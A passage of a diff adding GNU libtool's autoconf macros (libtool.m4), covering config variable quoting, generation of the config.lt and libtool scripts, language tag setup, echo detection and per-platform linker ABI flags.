+# lt_decl_all_varnames([SEPARATOR], [VARNAME1...])
+# ------------------------------------------------
+m4_define([lt_decl_all_varnames],
+[_$0(m4_quote(m4_default([$1], [[, ]])),
+     m4_if([$2], [],
+	   m4_quote(lt_decl_varnames),
+	m4_quote(m4_shift($@))))[]dnl
+])
+m4_define([_lt_decl_all_varnames],
+[lt_join($@, lt_decl_varnames_tagged([$1],
+			lt_decl_tag_varnames([[, ]], m4_shift($@))))dnl
+])
+
+
+# _LT_CONFIG_STATUS_DECLARE([VARNAME])
+# ------------------------------------
+# Quote a variable value, and forward it to `config.status' so that its
+# declaration there will have the same value as in `configure'.  VARNAME
+# must have a single quote delimited value for this to work.
+m4_define([_LT_CONFIG_STATUS_DECLARE],
+[$1='`$ECHO "X$][$1" | $Xsed -e "$delay_single_quote_subst"`'])
+
+
+# _LT_CONFIG_STATUS_DECLARATIONS
+# ------------------------------
+# We delimit libtool config variables with single quotes, so when
+# we write them to config.status, we have to be sure to quote all
+# embedded single quotes properly.  In configure, this macro expands
+# each variable declared with _LT_DECL (and _LT_TAGDECL) into:
+#
+#    <var>='`$ECHO "X$<var>" | $Xsed -e "$delay_single_quote_subst"`'
+m4_defun([_LT_CONFIG_STATUS_DECLARATIONS],
+[m4_foreach([_lt_var], m4_quote(lt_decl_all_varnames),
+    [m4_n([_LT_CONFIG_STATUS_DECLARE(_lt_var)])])])
+
+
+# _LT_LIBTOOL_TAGS
+# ----------------
+# Output comment and list of tags supported by the script
+m4_defun([_LT_LIBTOOL_TAGS],
+[_LT_FORMAT_COMMENT([The names of the tagged configurations supported by this script])dnl
+available_tags="_LT_TAGS"dnl
+])
+
+
+# _LT_LIBTOOL_DECLARE(VARNAME, [TAG])
+# -----------------------------------
+# Extract the dictionary values for VARNAME (optionally with TAG) and
+# expand to a commented shell variable setting:
+#
+#    # Some comment about what VAR is for.
+#    visible_name=$lt_internal_name
+m4_define([_LT_LIBTOOL_DECLARE],
+[_LT_FORMAT_COMMENT(m4_quote(lt_dict_fetch([lt_decl_dict], [$1],
+					   [description])))[]dnl
+m4_pushdef([_libtool_name],
+    m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [libtool_name])))[]dnl
+m4_case(m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [value])),
+    [0], [_libtool_name=[$]$1],
+    [1], [_libtool_name=$lt_[]$1],
+    [2], [_libtool_name=$lt_[]$1],
+    [_libtool_name=lt_dict_fetch([lt_decl_dict], [$1], [value])])[]dnl
+m4_ifval([$2], [_$2])[]m4_popdef([_libtool_name])[]dnl
+])
+
+
+# _LT_LIBTOOL_CONFIG_VARS
+# -----------------------
+# Produce commented declarations of non-tagged libtool config variables
+# suitable for insertion in the LIBTOOL CONFIG section of the `libtool'
+# script.  Tagged libtool config variables (even for the LIBTOOL CONFIG
+# section) are produced by _LT_LIBTOOL_TAG_VARS.
+m4_defun([_LT_LIBTOOL_CONFIG_VARS],
+[m4_foreach([_lt_var],
+    m4_quote(_lt_decl_filter([tagged?], [no], [], lt_decl_varnames)),
+    [m4_n([_LT_LIBTOOL_DECLARE(_lt_var)])])])
+
+
+# _LT_LIBTOOL_TAG_VARS(TAG)
+# -------------------------
+m4_define([_LT_LIBTOOL_TAG_VARS],
+[m4_foreach([_lt_var], m4_quote(lt_decl_tag_varnames),
+    [m4_n([_LT_LIBTOOL_DECLARE(_lt_var, [$1])])])])
+
+
+# _LT_TAGVAR(VARNAME, [TAGNAME])
+# ------------------------------
+m4_define([_LT_TAGVAR], [m4_ifval([$2], [$1_$2], [$1])])
+
+
+# _LT_CONFIG_COMMANDS
+# -------------------
+# Send accumulated output to $CONFIG_STATUS.  Thanks to the lists of
+# variables for single and double quote escaping we saved from calls
+# to _LT_DECL, we can put quote escaped variables declarations
+# into `config.status', and then the shell code to quote escape them in
+# for loops in `config.status'.  Finally, any additional code accumulated
+# from calls to _LT_CONFIG_LIBTOOL_INIT is expanded.
+m4_defun([_LT_CONFIG_COMMANDS],
+[AC_PROVIDE_IFELSE([LT_OUTPUT],
+	dnl If the libtool generation code has been placed in $CONFIG_LT,
+	dnl instead of duplicating it all over again into config.status,
+	dnl then we will have config.status run $CONFIG_LT later, so it
+	dnl needs to know what name is stored there:
+        [AC_CONFIG_COMMANDS([libtool],
+            [$SHELL $CONFIG_LT || AS_EXIT(1)], [CONFIG_LT='$CONFIG_LT'])],
+    dnl If the libtool generation code is destined for config.status,
+    dnl expand the accumulated commands and init code now:
+    [AC_CONFIG_COMMANDS([libtool],
+        [_LT_OUTPUT_LIBTOOL_COMMANDS], [_LT_OUTPUT_LIBTOOL_COMMANDS_INIT])])
+])#_LT_CONFIG_COMMANDS
+
+
+# Initialize.
+m4_define([_LT_OUTPUT_LIBTOOL_COMMANDS_INIT],
+[
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+sed_quote_subst='$sed_quote_subst'
+double_quote_subst='$double_quote_subst'
+delay_variable_subst='$delay_variable_subst'
+_LT_CONFIG_STATUS_DECLARATIONS
+LTCC='$LTCC'
+LTCFLAGS='$LTCFLAGS'
+compiler='$compiler_DEFAULT'
+
+# Quote evaled strings.
+for var in lt_decl_all_varnames([[ \
+]], lt_decl_quote_varnames); do
+    case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in
+    *[[\\\\\\\`\\"\\\$]]*)
+      eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$sed_quote_subst\\"\\\`\\\\\\""
+      ;;
+    *)
+      eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\""
+      ;;
+    esac
+done
+
+# Double-quote double-evaled strings.
+for var in lt_decl_all_varnames([[ \
+]], lt_decl_dquote_varnames); do
+    case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in
+    *[[\\\\\\\`\\"\\\$]]*)
+      eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
+      ;;
+    *)
+      eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\""
+      ;;
+    esac
+done
+
+# Fix-up fallback echo if it was mangled by the above quoting rules.
+case \$lt_ECHO in
+*'\\\[$]0 --fallback-echo"')dnl "
+  lt_ECHO=\`\$ECHO "X\$lt_ECHO" | \$Xsed -e 's/\\\\\\\\\\\\\\\[$]0 --fallback-echo"\[$]/\[$]0 --fallback-echo"/'\`
+  ;;
+esac
+
+_LT_OUTPUT_LIBTOOL_INIT
+])
+
+
+# LT_OUTPUT
+# ---------
+# This macro allows early generation of the libtool script (before
+# AC_OUTPUT is called), incase it is used in configure for compilation
+# tests.
+AC_DEFUN([LT_OUTPUT],
+[: ${CONFIG_LT=./config.lt}
+AC_MSG_NOTICE([creating $CONFIG_LT])
+cat >"$CONFIG_LT" <<_LTEOF
+#! $SHELL
+# Generated by $as_me.
+# Run this file to recreate a libtool stub with the current configuration.
+
+lt_cl_silent=false
+SHELL=\${CONFIG_SHELL-$SHELL}
+_LTEOF
+
+cat >>"$CONFIG_LT" <<\_LTEOF
+AS_SHELL_SANITIZE
+_AS_PREPARE
+
+exec AS_MESSAGE_FD>&1
+exec AS_MESSAGE_LOG_FD>>config.log
+{
+  echo
+  AS_BOX([Running $as_me.])
+} >&AS_MESSAGE_LOG_FD
+
+lt_cl_help="\
+\`$as_me' creates a local libtool stub from the current configuration,
+for use in further configure time tests before the real libtool is
+generated.
+
+Usage: $[0] [[OPTIONS]]
+
+  -h, --help      print this help, then exit
+  -V, --version   print version number, then exit
+  -q, --quiet     do not print progress messages
+  -d, --debug     don't remove temporary files
+
+Report bugs to <bug-libtool@gnu.org>."
+
+lt_cl_version="\
+m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl
+m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION])
+configured by $[0], generated by m4_PACKAGE_STRING.
+
+Copyright (C) 2006 Free Software Foundation, Inc.
+This config.lt script is free software; the Free Software Foundation
+gives unlimited permision to copy, distribute and modify it."
+
+while test $[#] != 0
+do
+  case $[1] in
+    --version | --v* | -V )
+      echo "$lt_cl_version"; exit 0 ;;
+    --help | --h* | -h )
+      echo "$lt_cl_help"; exit 0 ;;
+    --debug | --d* | -d )
+      debug=: ;;
+    --quiet | --q* | --silent | --s* | -q )
+      lt_cl_silent=: ;;
+
+    -*) AC_MSG_ERROR([unrecognized option: $[1]
+Try `$[0] --help' for more information.]) ;;
+
+    *) AC_MSG_ERROR([unrecognised argument: $[1]
+Try `$[0] --help for more information.]) ;;
+  esac
+  shift
+done
+
+if $lt_cl_silent; then
+  exec AS_MESSAGE_FD>/dev/null
+fi
+_LTEOF
+
+cat >>"$CONFIG_LT" <<_LTEOF
+_LT_OUTPUT_LIBTOOL_COMMANDS_INIT
+_LTEOF
+
+cat >>"$CONFIG_LT" <<\_LTEOF
+AC_MSG_NOTICE([creating $ofile])
+_LT_OUTPUT_LIBTOOL_COMMANDS
+AS_EXIT(0)
+_LTEOF
+chmod +x "$CONFIG_LT"
+
+# configure is writing to config.log, but config.lt does its own redirection,
+# appending to config.log, which fails on DOS, as config.log is still kept
+# open by configure.  Here we exec the FD to /dev/null, effectively closing
+# config.log, so it can be properly (re)opened and appended to by config.lt.
+if test "$no_create" != yes; then
+  lt_cl_success=:
+  test "$silent" = yes &&
+    lt_config_lt_args="$lt_config_lt_args --quiet"
+  exec AS_MESSAGE_LOG_FD>/dev/null
+  $SHELL "$CONFIG_LT" $lt_config_lt_args || lt_cl_success=false
+  exec AS_MESSAGE_LOG_FD>>config.log
+  $lt_cl_success || AS_EXIT(1)
+fi
+])# LT_OUTPUT
+
+
+# _LT_CONFIG(TAG)
+# ---------------
+# If TAG is the built-in tag, create an initial libtool script with a
+# default configuration from the untagged config vars.  Otherwise add code
+# to config.status for appending the configuration named by TAG from the
+# matching tagged config vars.
+m4_defun([_LT_CONFIG],
+[m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+_LT_CONFIG_SAVE_COMMANDS([
+  m4_define([_LT_TAG], m4_if([$1], [], [C], [$1]))dnl
+  m4_if(_LT_TAG, [C], [
+    # See if we are running on zsh, and set the options which allow our
+    # commands through without removal of \ escapes.
+    if test -n "${ZSH_VERSION+set}" ; then
+      setopt NO_GLOB_SUBST
+    fi
+
+    cfgfile="${ofile}T"
+    trap "$RM \"$cfgfile\"; exit 1" 1 2 15
+    $RM "$cfgfile"
+
+    cat <<_LT_EOF >> "$cfgfile"
+#! $SHELL
+
+# `$ECHO "$ofile" | sed 's%^.*/%%'` - Provide generalized library-building support services.
+# Generated automatically by $as_me (GNU $PACKAGE$TIMESTAMP) $VERSION
+# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
+# NOTE: Changes made to this file will be lost: look at ltmain.sh.
+#
+_LT_COPYING
+# TEST SUITE MARKER ## BEGIN SOURCABLE
+_LT_LIBTOOL_TAGS
+
+# ### BEGIN LIBTOOL CONFIG
+_LT_LIBTOOL_CONFIG_VARS
+_LT_LIBTOOL_TAG_VARS
+# ### END LIBTOOL CONFIG
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+_LT_EOF
+
+  case $host_os in
+  aix3*)
+    cat <<\_LT_EOF >> "$cfgfile"
+# AIX sometimes has problems with the GCC collect2 program.  For some
+# reason, if we set the COLLECT_NAMES environment variable, the problems
+# vanish in a puff of smoke.
+if test "X${COLLECT_NAMES+set}" != Xset; then
+  COLLECT_NAMES=
+  export COLLECT_NAMES
+fi
+_LT_EOF
+    ;;
+  esac
+
+  _LT_PROG_LTMAIN
+
+  # We use sed instead of cat because bash on DJGPP gets confused if
+  # if finds mixed CR/LF and LF-only lines.  Since sed operates in
+  # text mode, it properly converts lines to CR/LF.  This bash problem
+  # is reportedly fixed, but why not run on old versions too?
+  sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+    || (rm -f "$cfgfile"; exit 1)
+
+  _LT_PROG_XSI_SHELLFNS
+
+  sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+    || (rm -f "$cfgfile"; exit 1)
+
+  mv -f "$cfgfile" "$ofile" ||
+    (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+  chmod +x "$ofile"
+],
+[cat <<_LT_EOF >> "$ofile"
+
+dnl Unfortunately we have to use $1 here, since _LT_TAG is not expanded
+dnl in a comment (ie after a #).
+# ### BEGIN LIBTOOL TAG CONFIG: $1
+_LT_LIBTOOL_TAG_VARS(_LT_TAG)
+# ### END LIBTOOL TAG CONFIG: $1
+_LT_EOF
+])dnl /m4_if
+],
+[m4_if([$1], [], [
+    PACKAGE='$PACKAGE'
+    VERSION='$VERSION'
+    TIMESTAMP='$TIMESTAMP'
+    RM='$RM'
+    ofile='$ofile'], [])
+])dnl /_LT_CONFIG_SAVE_COMMANDS
+])# _LT_CONFIG
+
+
+# LT_SUPPORTED_TAG(TAG)
+# ---------------------
+# Trace this macro to discover what tags are supported by the libtool
+# --tag option, using:
+#    autoconf --trace 'LT_SUPPORTED_TAG:$1'
+AC_DEFUN([LT_SUPPORTED_TAG], [])
+
+
+# C support is built-in for now
+m4_define([_LT_LANG_C_enabled], [])
+m4_define([_LT_TAGS], [])
+
+
+# LT_LANG(LANG)
+# -------------
+# Enable libtool support for the given language if not already enabled.
+AC_DEFUN([LT_LANG],
+[AC_BEFORE([$0], [LT_OUTPUT])dnl
+m4_case([$1],
+  [C],			[_LT_LANG(C)],
+  [C++],		[_LT_LANG(CXX)],
+  [Java],		[_LT_LANG(GCJ)],
+  [Fortran 77],		[_LT_LANG(F77)],
+  [Fortran],		[_LT_LANG(FC)],
+  [Windows Resource],	[_LT_LANG(RC)],
+  [m4_ifdef([_LT_LANG_]$1[_CONFIG],
+    [_LT_LANG($1)],
+    [m4_fatal([$0: unsupported language: "$1"])])])dnl
+])# LT_LANG
+
+
+# _LT_LANG(LANGNAME)
+# ------------------
+m4_defun([_LT_LANG],
+[m4_ifdef([_LT_LANG_]$1[_enabled], [],
+  [LT_SUPPORTED_TAG([$1])dnl
+  m4_append([_LT_TAGS], [$1 ])dnl
+  m4_define([_LT_LANG_]$1[_enabled], [])dnl
+  _LT_LANG_$1_CONFIG($1)])dnl
+])# _LT_LANG
+
+
+# _LT_LANG_DEFAULT_CONFIG
+# -----------------------
+m4_defun([_LT_LANG_DEFAULT_CONFIG],
+[AC_PROVIDE_IFELSE([AC_PROG_CXX],
+  [LT_LANG(CXX)],
+  [m4_define([AC_PROG_CXX], defn([AC_PROG_CXX])[LT_LANG(CXX)])])
+
+AC_PROVIDE_IFELSE([AC_PROG_F77],
+  [LT_LANG(F77)],
+  [m4_define([AC_PROG_F77], defn([AC_PROG_F77])[LT_LANG(F77)])])
+
+AC_PROVIDE_IFELSE([AC_PROG_FC],
+  [LT_LANG(FC)],
+  [m4_define([AC_PROG_FC], defn([AC_PROG_FC])[LT_LANG(FC)])])
+
+dnl The call to [A][M_PROG_GCJ] is quoted like that to stop aclocal
+dnl pulling things in needlessly.
+AC_PROVIDE_IFELSE([AC_PROG_GCJ],
+  [LT_LANG(GCJ)],
+  [AC_PROVIDE_IFELSE([A][M_PROG_GCJ],
+    [LT_LANG(GCJ)],
+    [AC_PROVIDE_IFELSE([LT_PROG_GCJ],
+      [LT_LANG(GCJ)],
+      [m4_ifdef([AC_PROG_GCJ],
+	[m4_define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[LT_LANG(GCJ)])])
+       m4_ifdef([A][M_PROG_GCJ],
+	[m4_define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[LT_LANG(GCJ)])])
+       m4_ifdef([LT_PROG_GCJ],
+	[m4_define([LT_PROG_GCJ], defn([LT_PROG_GCJ])[LT_LANG(GCJ)])])])])])
+
+AC_PROVIDE_IFELSE([LT_PROG_RC],
+  [LT_LANG(RC)],
+  [m4_define([LT_PROG_RC], defn([LT_PROG_RC])[LT_LANG(RC)])])
+])# _LT_LANG_DEFAULT_CONFIG
+
+# Obsolete macros:
+AU_DEFUN([AC_LIBTOOL_CXX], [LT_LANG(C++)])
+AU_DEFUN([AC_LIBTOOL_F77], [LT_LANG(Fortran 77)])
+AU_DEFUN([AC_LIBTOOL_FC], [LT_LANG(Fortran)])
+AU_DEFUN([AC_LIBTOOL_GCJ], [LT_LANG(Java)])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_CXX], [])
+dnl AC_DEFUN([AC_LIBTOOL_F77], [])
+dnl AC_DEFUN([AC_LIBTOOL_FC], [])
+dnl AC_DEFUN([AC_LIBTOOL_GCJ], [])
+
+
+# _LT_TAG_COMPILER
+# ----------------
+m4_defun([_LT_TAG_COMPILER],
+[AC_REQUIRE([AC_PROG_CC])dnl
+
+_LT_DECL([LTCC], [CC], [1], [A C compiler])dnl
+_LT_DECL([LTCFLAGS], [CFLAGS], [1], [LTCC compiler flags])dnl
+_LT_TAGDECL([CC], [compiler], [1], [A language specific compiler])dnl
+_LT_TAGDECL([with_gcc], [GCC], [0], [Is the compiler the GNU compiler?])dnl
+
+# If no C compiler was specified, use CC.
+LTCC=${LTCC-"$CC"}
+
+# If no C compiler flags were specified, use CFLAGS.
+LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
+
+# Allow CC to be a program name with arguments.
+compiler=$CC
+])# _LT_TAG_COMPILER
+
+
+# _LT_COMPILER_BOILERPLATE
+# ------------------------
+# Check for compiler boilerplate output or warnings with
+# the simple compiler test code.
+m4_defun([_LT_COMPILER_BOILERPLATE],
+[ac_outfile=conftest.$ac_objext
+printf "$lt_simple_compile_test_code" >conftest.$ac_ext
+eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
+_lt_compiler_boilerplate=`cat conftest.err`
+$RM conftest*
+])# _LT_COMPILER_BOILERPLATE
+
+
+# _LT_LINKER_BOILERPLATE
+# ----------------------
+# Check for linker boilerplate output or warnings with
+# the simple link test code.
+m4_defun([_LT_LINKER_BOILERPLATE],
+[ac_outfile=conftest.$ac_objext
+printf "$lt_simple_link_test_code" >conftest.$ac_ext
+eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
+_lt_linker_boilerplate=`cat conftest.err`
+$RM conftest*
+])# _LT_LINKER_BOILERPLATE
+
+
+# _LT_SYS_MODULE_PATH_AIX
+# -----------------------
+# Links a minimal program and checks the executable
+# for the system default hardcoded library path. In most cases,
+# this is /usr/lib:/lib, but when the MPI compilers are used
+# the location of the communication and MPI libs are included too.
+# If we don't find anything, use the default library path according
+# to the aix ld manual.
+m4_defun([_LT_SYS_MODULE_PATH_AIX],
+[AC_LINK_IFELSE(AC_LANG_PROGRAM,[
+lt_aix_libpath_sed='
+    /Import File Strings/,/^$/ {
+	/^0/ {
+	    s/^0  *\(.*\)$/\1/
+	    p
+	}
+    }'
+aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+# Check for a 64-bit object if we didn't find anything.
+if test -z "$aix_libpath"; then
+  aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+fi],[])
+if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+])# _LT_SYS_MODULE_PATH_AIX
+
+
+# _LT_SHELL_INIT(ARG)
+# -------------------
+m4_define([_LT_SHELL_INIT],
+[ifdef([AC_DIVERSION_NOTICE],
+	     [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)],
+	 [AC_DIVERT_PUSH(NOTICE)])
+$1
+AC_DIVERT_POP
+])# _LT_SHELL_INIT
+
+
+# _LT_PROG_ECHO_BACKSLASH
+# -----------------------
+# Add some code to the start of the generated configure script which
+# will find an echo command which doesn't interpret backslashes.
+m4_defun([_LT_PROG_ECHO_BACKSLASH],
+[_LT_SHELL_INIT([
+# Check that we are running under the correct shell.
+SHELL=${CONFIG_SHELL-/bin/sh}
+
+case X$lt_ECHO in
+X*--fallback-echo)
+  # Remove one level of quotation (which was required for Make).
+  ECHO=`echo "$lt_ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','`
+  ;;
+esac
+
+ECHO=${lt_ECHO-echo}
+if test "X[$]1" = X--no-reexec; then
+  # Discard the --no-reexec flag, and continue.
+  shift
+elif test "X[$]1" = X--fallback-echo; then
+  # Avoid inline document here, it may be left over
+  :
+elif test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' ; then
+  # Yippee, $ECHO works!
+  :
+else
+  # Restart under the correct shell.
+  exec $SHELL "[$]0" --no-reexec ${1+"[$]@"}
+fi
+
+if test "X[$]1" = X--fallback-echo; then
+  # used as fallback echo
+  shift
+  cat <<_LT_EOF
+[$]*
+_LT_EOF
+  exit 0
+fi
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+if test -z "$lt_ECHO"; then
+  if test "X${echo_test_string+set}" != Xset; then
+    # find a string as large as possible, as long as the shell can cope with it
+    for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2q "[$]0"' 'echo test'; do
+      # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ...
+      if { echo_test_string=`eval $cmd`; } 2>/dev/null &&
+	 { test "X$echo_test_string" = "X$echo_test_string"; } 2>/dev/null
+      then
+        break
+      fi
+    done
+  fi
+
+  if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' &&
+     echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` &&
+     test "X$echo_testing_string" = "X$echo_test_string"; then
+    :
+  else
+    # The Solaris, AIX, and Digital Unix default echo programs unquote
+    # backslashes.  This makes it impossible to quote backslashes using
+    #   echo "$something" | sed 's/\\/\\\\/g'
+    #
+    # So, first we look for a working echo in the user's PATH.
+
+    lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+    for dir in $PATH /usr/ucb; do
+      IFS="$lt_save_ifs"
+      if (test -f $dir/echo || test -f $dir/echo$ac_exeext) &&
+         test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' &&
+         echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` &&
+         test "X$echo_testing_string" = "X$echo_test_string"; then
+        ECHO="$dir/echo"
+        break
+      fi
+    done
+    IFS="$lt_save_ifs"
+
+    if test "X$ECHO" = Xecho; then
+      # We didn't find a better echo, so look for alternatives.
+      if test "X`{ print -r '\t'; } 2>/dev/null`" = 'X\t' &&
+         echo_testing_string=`{ print -r "$echo_test_string"; } 2>/dev/null` &&
+         test "X$echo_testing_string" = "X$echo_test_string"; then
+        # This shell has a builtin print -r that does the trick.
+        ECHO='print -r'
+      elif { test -f /bin/ksh || test -f /bin/ksh$ac_exeext; } &&
+	   test "X$CONFIG_SHELL" != X/bin/ksh; then
+        # If we have ksh, try running configure again with it.
+        ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh}
+        export ORIGINAL_CONFIG_SHELL
+        CONFIG_SHELL=/bin/ksh
+        export CONFIG_SHELL
+        exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"}
+      else
+        # Try using printf.
+        ECHO='printf %s\n'
+        if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' &&
+	   echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` &&
+	   test "X$echo_testing_string" = "X$echo_test_string"; then
+	  # Cool, printf works
+	  :
+        elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` &&
+	     test "X$echo_testing_string" = 'X\t' &&
+	     echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
+	     test "X$echo_testing_string" = "X$echo_test_string"; then
+	  CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL
+	  export CONFIG_SHELL
+	  SHELL="$CONFIG_SHELL"
+	  export SHELL
+	  ECHO="$CONFIG_SHELL [$]0 --fallback-echo"
+        elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` &&
+	     test "X$echo_testing_string" = 'X\t' &&
+	     echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
+	     test "X$echo_testing_string" = "X$echo_test_string"; then
+	  ECHO="$CONFIG_SHELL [$]0 --fallback-echo"
+        else
+	  # maybe with a smaller string...
+	  prev=:
+
+	  for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do
+	    if { test "X$echo_test_string" = "X`eval $cmd`"; } 2>/dev/null
+	    then
+	      break
+	    fi
+	    prev="$cmd"
+	  done
+
+	  if test "$prev" != 'sed 50q "[$]0"'; then
+	    echo_test_string=`eval $prev`
+	    export echo_test_string
+	    exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"}
+	  else
+	    # Oops.  We lost completely, so just stick with echo.
+	    ECHO=echo
+	  fi
+        fi
+      fi
+    fi
+  fi
+fi
+
+# Copy echo and quote the copy suitably for passing to libtool from
+# the Makefile, instead of quoting the original, which is used later.
+lt_ECHO=$ECHO
+if test "X$lt_ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then
+   lt_ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo"
+fi
+
+AC_SUBST(lt_ECHO)
+])
+_LT_DECL([], [SHELL], [1], [Shell to use when invoking shell scripts])
+_LT_DECL([], [ECHO], [1],
+    [An echo program that does not interpret backslashes])
+])# _LT_PROG_ECHO_BACKSLASH
+
+
+# _LT_ENABLE_LOCK
+# ---------------
+m4_defun([_LT_ENABLE_LOCK],
+[AC_REQUIRE([AC_OBJEXT])dnl
+AC_ARG_ENABLE([libtool-lock],
+  [AS_HELP_STRING([--disable-libtool-lock],
+    [avoid locking (might break parallel builds)])])
+test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
+
+# Some flags need to be propagated to the compiler or linker for good
+# libtool support.
+case $host in
+ia64-*-hpux*)
+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if AC_TRY_EVAL(ac_compile); then
+    case `/usr/bin/file conftest.$ac_objext` in
+      *ELF-32*)
+	HPUX_IA64_MODE="32"
+	;;
+      *ELF-64*)
+	HPUX_IA64_MODE="64"
+	;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+*-*-irix6*)
+  # Find out which ABI we are using.
+  echo '[#]line __oline__ "configure"' > conftest.$ac_ext
+  if AC_TRY_EVAL(ac_compile); then
+    if test "$lt_cv_prog_gnu_ld" = yes; then
+      case `/usr/bin/file conftest.$ac_objext` in
+	*32-bit*)
+	  LD="${LD-ld} -melf32bsmip"
+	  ;;
+	*N32*)
+	  LD="${LD-ld} -melf32bmipn32"
+	  ;;
+	*64-bit*)
+	  LD="${LD-ld} -melf64bmip"
+	;;
+      esac
+    else
+      case `/usr/bin/file conftest.$ac_objext` in
+	*32-bit*)
+	  LD="${LD-ld} -32"
+	  ;;
+	*N32*)
+	  LD="${LD-ld} -n32"
+	  ;;
+	*64-bit*)
+	  LD="${LD-ld} -64"
+	  ;;
+      esac
+    fi
+  fi
+  rm -rf conftest*
+  ;;
+
+x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|s390*-*tpf*|sparc*-*linux*)
+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if AC_TRY_EVAL(ac_compile); then
+    case `/usr/bin/file conftest.o` in
+      *32-bit*)
+	case $host in
+	  x86_64-*linux*)
+	    LD="${LD-ld} -m elf_i386"
+	    ;;
+	  ppc64-*linux*|powerpc64-*linux*)
+	    LD="${LD-ld} -m elf32ppclinux"
+	    ;;
+	  s390x-*linux*)
+	    LD="${LD-ld} -m elf_s390"
+	    ;;
+	  sparc64-*linux*)
+	    LD="${LD-ld} -m elf32_sparc"
+	    ;;
+	esac
+	;;
+      *64-bit*)
+	case $host in
+	  x86_64-*linux*)
+	    LD="${LD-ld} -m elf_x86_64"
+	    ;;
+	  ppc*-*linux*|powerpc*-*linux*)
+	    LD="${LD-ld} -m elf64ppc"
+	    ;;
+	  s390*-*linux*|s390*-*tpf*)
+	    LD="${LD-ld} -m elf64_s390"
+	    ;;
+	  sparc*-*linux*)
+	    LD="${LD-ld} -m elf64_sparc"
+	    ;;
+	esac
+	;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+
+*-*-sco3.2v5*)
+  # On SCO OpenServer 5, we need -belf to get full-featured binaries.
+  SAVE_CFLAGS="$CFLAGS"
+  CFLAGS="$CFLAGS -belf"
+  AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf,
+    [AC_LANG_PUSH(C)
+     AC_LINK_IFELSE([AC_LANG_PROGRAM([[]],[[]])],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no])
+     AC_LANG_POP])
+  if test x"$lt_cv_cc_needs_belf" != x"yes"; then
+    # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
+    CFLAGS="$SAVE_CFLAGS"
+  fi
+  ;;
+sparc*-*solaris*)
